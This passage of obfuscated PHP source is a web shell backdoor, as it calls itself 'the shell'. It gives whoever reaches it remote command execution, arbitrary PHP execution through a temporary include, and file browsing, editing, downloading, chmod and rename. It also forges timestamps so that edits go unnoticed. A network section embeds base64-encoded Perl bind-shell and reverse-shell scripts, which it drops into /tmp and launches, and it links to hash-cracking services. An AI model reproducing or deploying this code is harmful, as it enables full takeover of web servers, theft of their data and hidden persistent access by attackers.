            echo htmlspecialchars($_POST['lsdee']($_POST['dxxxrd']));
        }
    }
    echo "</pre></div><br><h1>Search files:</h1><div class=content>
    <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
        <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
        <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['znpciraguli']) . "' style='width:100%'></td></tr>
        <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
        <tr><td></td><td><input type='submit' value='>>'></td></tr>
    </table></form>";

    function ptmypqo($nrufsvxkk) {
        if (substr($nrufsvxkk, -1) != '/') {
            $nrufsvxkk .= '/';
        }

        $qxvmtflr = @array_unique(@array_merge(@glob($nrufsvxkk . $_POST['kvued']), @glob($nrufsvxkk . '*', GLOB_ONLYDIR)));
        if (is_array($qxvmtflr) && @count($qxvmtflr)) {
            foreach ($qxvmtflr as $fnjjfyoak) {
                if (@is_dir($fnjjfyoak)) {
                    if ($nrufsvxkk != $fnjjfyoak) {
                        ptmypqo($fnjjfyoak);
                    }
                } else {
                    if (empty($_POST['dxxxrd']) || @strpos(file_get_contents($fnjjfyoak), $_POST['dxxxrd']) !== false) {
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($fnjjfyoak) . "\", \"view\",\"\")'>" . htmlspecialchars($fnjjfyoak) . "</a><br>";
                    }
                }
            }
        }
    }

    if (@$_POST['kvued']) {
        ptmypqo($_POST['vlrso']);
    }

    echo "</div><br><h1>Search for hash:</h1><div class=content>
    <form method='post' target='_blank' name='hf'>
        <input type='text' name='hash' style='width:200px;'><br>
        <input type='hidden' name='act' value='find'/>
        <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
        <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
        <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
    </form></div>";
    jzwdz();
}

function actionFilesTools() {
    if (isset($_POST['lsdee'])) {
        $_POST['lsdee'] = urldecode($_POST['lsdee']);
    }
    if (@$_POST['dxxxrd'] == 'download') {
        if (@is_file($_POST['lsdee']) && @is_readable($_POST['lsdee'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=" . basename($_POST['lsdee']));
            if (function_exists("mime_content_type")) {
                $kjoukr = @mime_content_type($_POST['lsdee']);
                header("Content-Type: " . $kjoukr);
            } else {
                header("Content-Type: application/octet-stream");
            }
            $iwujrnprtul = @fopen($_POST['lsdee'], "r");
            if ($iwujrnprtul) {
                while (!@feof($iwujrnprtul)) {
                    echo @fread($iwujrnprtul, 1024);
                }
                fclose($iwujrnprtul);
            }
        }
        exit;
    }
    if (@$_POST['dxxxrd'] == 'mkfile') {
        if (!file_exists($_POST['lsdee'])) {
            $iwujrnprtul = @fopen($_POST['lsdee'], 'w');
            if ($iwujrnprtul) {
                $_POST['dxxxrd'] = "edit";
                fclose($iwujrnprtul);
            }
        }
    }
    qemvk();
    echo '<h1>File tools</h1><div class=content>';
    if (!file_exists(@$_POST['lsdee'])) {
        echo 'File not exists';
        jzwdz();

        return;
    }
    $vnnwmphvr = @posix_getpwuid(@fileowner($_POST['lsdee']));
    if (!$vnnwmphvr) {
        $vnnwmphvr['name'] = @fileowner($_POST['lsdee']);
        $wzyzyp['name'] = @filegroup($_POST['lsdee']);
    } else {
        $wzyzyp = @posix_getgrgid(@filegroup($_POST['lsdee']));
    }
    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['lsdee'])) . ' <span>Size:</span> ' . (is_file($_POST['lsdee']) ? dbtcq(filesize($_POST['lsdee'])) : '-') . ' <span>Permission:</span> ' . qwzgk($_POST['lsdee']) . ' <span>Owner/Group:</span> ' . $vnnwmphvr['name'] . '/' . $wzyzyp['name'] . '<br>';
    echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['lsdee'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['lsdee'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['lsdee'])) . '<br><br>';
    if (empty($_POST['dxxxrd'])) {
        $_POST['dxxxrd'] = 'view';
    }
    if (is_file($_POST['lsdee'])) {
        $qbxusamgwrfk = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    } else {
        $qbxusamgwrfk = array('Chmod', 'Rename', 'Touch');
    }

    foreach ($qbxusamgwrfk as $egcoret) {
        echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['lsdee']) . '\',\'' . strtolower($egcoret) . '\')">' . ((strtolower($egcoret) == @$_POST['dxxxrd']) ? '<b>[ ' . $egcoret . ' ]</b>' : $egcoret) . '</a> ';
    }
    echo '<br><br>';
    switch ($_POST['dxxxrd']) {
        case 'view':
            echo '<pre class=ml1>';
            $iwujrnprtul = @fopen($_POST['lsdee'], 'r');
            if ($iwujrnprtul) {
                while (!@feof($iwujrnprtul)) {
                    echo htmlspecialchars(@fread($iwujrnprtul, 1024));
                }
                @fclose($iwujrnprtul);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if (@is_readable($_POST['lsdee'])) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $xanudfk = @highlight_file($_POST['lsdee'], true);
                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $xanudfk) . '</div>';
            }
            break;
        case 'chmod':
            if (!empty($_POST['kvued'])) {
                $ptycdzxyq = 0;
                for ($jedprwvaef = strlen($_POST['kvued']) - 1; $jedprwvaef >= 0; --$jedprwvaef) {
                    $ptycdzxyq += (int)$_POST['kvued'][$jedprwvaef] * pow(8, (strlen($_POST['kvued']) - $jedprwvaef - 1));
                }
                if (!@chmod($_POST['lsdee'], $ptycdzxyq)) {
                    echo 'Can\'t set permissions!<br><script>document.qhv.p3.value="";</script>';
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['lsdee']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['lsdee'])), -4) . '"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if (!is_writable($_POST['lsdee'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if (!empty($_POST['kvued'])) {
                $xuzglurkopsh = @filemtime($_POST['lsdee']);
                $_POST['kvued'] = substr($_POST['kvued'], 1);
                $iwujrnprtul = @fopen($_POST['lsdee'], "w");
                if ($iwujrnprtul) {
                    @fwrite($iwujrnprtul, $_POST['kvued']);
                    @fclose($iwujrnprtul);
                    echo 'Saved!<br><script>p3_="";</script>';
                    @touch($_POST['lsdee'], $xuzglurkopsh, $xuzglurkopsh);
                }
            }
            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['lsdee']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
            $iwujrnprtul = @fopen($_POST['lsdee'], 'r');
            if ($iwujrnprtul) {
                while (!@feof($iwujrnprtul)) {
                    echo htmlspecialchars(@fread($iwujrnprtul, 1024));
                }
                @fclose($iwujrnprtul);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $qowdegfmv = @file_get_contents($_POST['lsdee']);
            $vzlainot = 0;
            $vmkpuelpqg = array('00000000<br>', '', '');
            $lbylbefyao = strlen($qowdegfmv);
            for ($jedprwvaef = 0; $jedprwvaef < $lbylbefyao; ++$jedprwvaef) {
                $vmkpuelpqg[1] .= sprintf('%02X', ord($qowdegfmv[$jedprwvaef])) . ' ';
                switch (ord($qowdegfmv[$jedprwvaef])) {
                    case 0:
                        $vmkpuelpqg[2] .= ' ';
                        break;
                    case 9:
                        $vmkpuelpqg[2] .= ' ';
                        break;
                    case 10:
                        $vmkpuelpqg[2] .= ' ';
                        break;
                    case 13:
                        $vmkpuelpqg[2] .= ' ';
                        break;
                    default:
                        $vmkpuelpqg[2] .= $qowdegfmv[$jedprwvaef];
                        break;
                }
                $vzlainot++;
                if ($vzlainot == 32) {
                    $vzlainot = 0;
                    if ($jedprwvaef + 1 < $lbylbefyao) {
                        $vmkpuelpqg[0] .= sprintf('%08X', $jedprwvaef + 1) . '<br>';
                    }
                    $vmkpuelpqg[1] .= '<br>';
                    $vmkpuelpqg[2] .= "\n";
                }
            }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $vmkpuelpqg[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $vmkpuelpqg[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($vmkpuelpqg[2]) . '</pre></td></tr></table>';
            break;
        case 'rename':
            if (!empty($_POST['kvued'])) {
                if (!@rename($_POST['lsdee'], $_POST['kvued'])) {
                    echo 'Can\'t rename!<br>';
                } else {
                    die('<script>g(null,null,"' . urlencode($_POST['kvued']) . '",null,"")</script>');
                }
            }
            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['lsdee']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['lsdee']) . '"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if (!empty($_POST['kvued'])) {
                $xuzglurkopsh = strtotime($_POST['kvued']);
                if ($xuzglurkopsh) {
                    if (!touch($_POST['lsdee'], $xuzglurkopsh, $xuzglurkopsh)) {
                        echo 'Fail!';
                    } else {
                        echo 'Touched!';
                    }
                } else {
                    echo 'Bad time format!';
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['lsdee']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['lsdee'])) . '"><input type=submit value=">>"></form>';
            break;
    }
    echo '</div>';
    jzwdz();
}

function actionConsole() {
    if (!empty($_POST['lsdee']) && !empty($_POST['dxxxrd'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
        $_POST['lsdee'] .= ' 2>&1';
    } elseif (!empty($_POST['lsdee'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
    }

    if (isset($_POST['ltnma'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        echo "d.cf.cmd.value='';\n";
        $jotlfacsqgu = @iconv($_POST['sftr'], 'UTF-8', addcslashes("\n$ " . $_POST['lsdee'] . "\n" . fdpuvkwy($_POST['lsdee']), "\n\r\t\\'\0"));
        if (preg_match("!.*cd\s+([^;]+)$!", $_POST['lsdee'], $suofnasj)) {
            if (@chdir($suofnasj[1])) {
                $GLOBALS['znpciraguli'] = @getcwd();
                echo "c_='" . $GLOBALS['znpciraguli'] . "';";
            }
        }
        echo "d.cf.output.value+='" . $jotlfacsqgu . "';";
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
        $jotlfacsqgu = ob_get_clean();
        echo strlen($jotlfacsqgu), "\n", $jotlfacsqgu;
        exit;
    }
    if (empty($_POST['ltnma']) && !empty($_POST['lsdee'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
    }
    qemvk();
    echo "<script>
    if(window.Event) window.captureEvents(Event.KEYDOWN);
    var cmds = new Array('');
    var cur = 0;
    function kp(e) {
        var n = (window.Event) ? e.which : e.keyCode;
        if(n == 38) {
            cur--;
            if(cur>=0)
                document.cf.cmd.value = cmds[cur];
            else
                cur++;
        } else if(n == 40) {
            cur++;
            if(cur < cmds.length)
                document.cf.cmd.value = cmds[cur];
            else
                cur--;
        }
    }
    function add(cmd) {
        cmds.pop();
        cmds.push(cmd);
        cmds.push('');
        cur = cmds.length-1;
    }
</script>";
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
    foreach ($GLOBALS['lifebz'] as $vzlainot => $egcoret) {
        if ($egcoret == '') {
            echo '<optgroup label="-' . htmlspecialchars($vzlainot) . '-"></optgroup>';
            continue;
        }
        echo '<option value="' . htmlspecialchars($egcoret) . '">' . $vzlainot . '</option>';
    }

    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['dxxxrd']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if (!empty($_POST['lsdee'])) {
        echo htmlspecialchars("$ " . $_POST['lsdee'] . "\n" . fdpuvkwy($_POST['lsdee']));
    }
    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
    echo '</form></div><script>d.cf.cmd.focus();</script>';
    jzwdz();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
    die('bye!');
}

function actionSelfRemove() {

    if ($_POST['lsdee'] == 'yes') {
        if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
            die('Shell has been removed');
        } else {
            echo 'unlink error!';
        }
    }
    if ($_POST['lsdee'] != 'yes') {
        qemvk();
    }
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    jzwdz();
}

function actionNetwork() {
    qemvk();
    $ueuesvc = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $vpihovrh = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Network tools</h1><div class=content>
    <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
    <span>Bind port to /bin/sh [perl]</span><br/>
    Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
    </form>
    <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
    <span>Back-connect  [perl]</span><br/>
    Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
    </form><br>";
    if (isset($_POST['lsdee'])) {

        function rsxpnb($eznripx, $ypfzsbrvbb) {
            $imkyhw = @fopen($eznripx, "w") or @function_exists('file_put_contents');
            if ($imkyhw) {
                @fwrite($imkyhw, @base64_decode($ypfzsbrvbb));
                @fclose($imkyhw);
            }
        }

        if ($_POST['lsdee'] == 'bpp') {
            rsxpnb("/tmp/bp.pl", $vpihovrh);
            $rnstrifvqcek = fdpuvkwy("perl /tmp/bp.pl " . $_POST['dxxxrd'] . " 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$rnstrifvqcek\n" . fdpuvkwy("ps aux | grep bp.pl") . "</pre>";
            unlink("/tmp/bp.pl");
        }
        if ($_POST['lsdee'] == 'bcp') {
            rsxpnb("/tmp/bc.pl", $ueuesvc);
            $rnstrifvqcek = fdpuvkwy("perl /tmp/bc.pl " . $_POST['dxxxrd'] . " " . $_POST['kvued'] . " 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$rnstrifvqcek\n" . fdpuvkwy("ps aux | grep bc.pl") . "</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo '</div>';
    jzwdz();
}

function actionRC() {
    if (!@$_POST['lsdee']) {
        $vyxpkvamc = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($vyxpkvamc);
    } else {
        // БЕЗ eval: исполняем как PHP-файл
        $tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
        file_put_contents($tempFile, "<?php\n" . $_POST['lsdee']);
        include $tempFile;
        unlink($tempFile);
    }
}


function kkwauo($gvwcmubllbs) {
    return abbhfjjz($gvwcmubllbs, $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"]);
}

function abbhfjjz($nswifoyewwoj, $xxqggfvt) {
    if (!$xxqggfvt) {
        return null;
    }


    $nswifoyewwoj = base64_encode($nswifoyewwoj);
    $xxqggfvt = base64_encode($xxqggfvt);
    $xzsllyalfgwi = '';
    $ndrkiug = '';
    $jedprwvaef = 0;
    while ($jedprwvaef < mb_strlen($nswifoyewwoj)) {
        for ($sssrygfjo = 0; $sssrygfjo < mb_strlen($xxqggfvt); $sssrygfjo++) {
            $xzsllyalfgwi = wrjzhjfu($nswifoyewwoj, $jedprwvaef) ^ wrjzhjfu($xxqggfvt, $sssrygfjo);
            $ndrkiug .= chr($xzsllyalfgwi);
            $jedprwvaef++;
            if ($jedprwvaef >= mb_strlen($nswifoyewwoj)) {
                break;
            }
        }


    }

    return base64_encode($ndrkiug);


}

function wrjzhjfu($rszqtuf, $mhhcpiilnigj) {
    $pqjmkrobqa = mb_substr($rszqtuf, $mhhcpiilnigj, 1, 'UTF-8');
    if (mb_check_encoding($pqjmkrobqa, 'UTF-8')) {
        $alpaqobavk = mb_convert_encoding($pqjmkrobqa, 'UTF-32BE', 'UTF-8');

        return hexdec(bin2hex($alpaqobavk));
    } else {
        return null;
    }
}


if (empty($_POST['obkusp'])) {
    if (isset($mqulmkyim) && function_exists('action' . $mqulmkyim)) {
        $_POST['obkusp'] = $mqulmkyim;
    } else {
        $_POST['obkusp'] = 'SecInfo';
    }
}
if (!empty($_POST['obkusp']) && function_exists('action' . $_POST['obkusp'])) {
    call_user_func('action' . $_POST['obkusp']);
}
exit;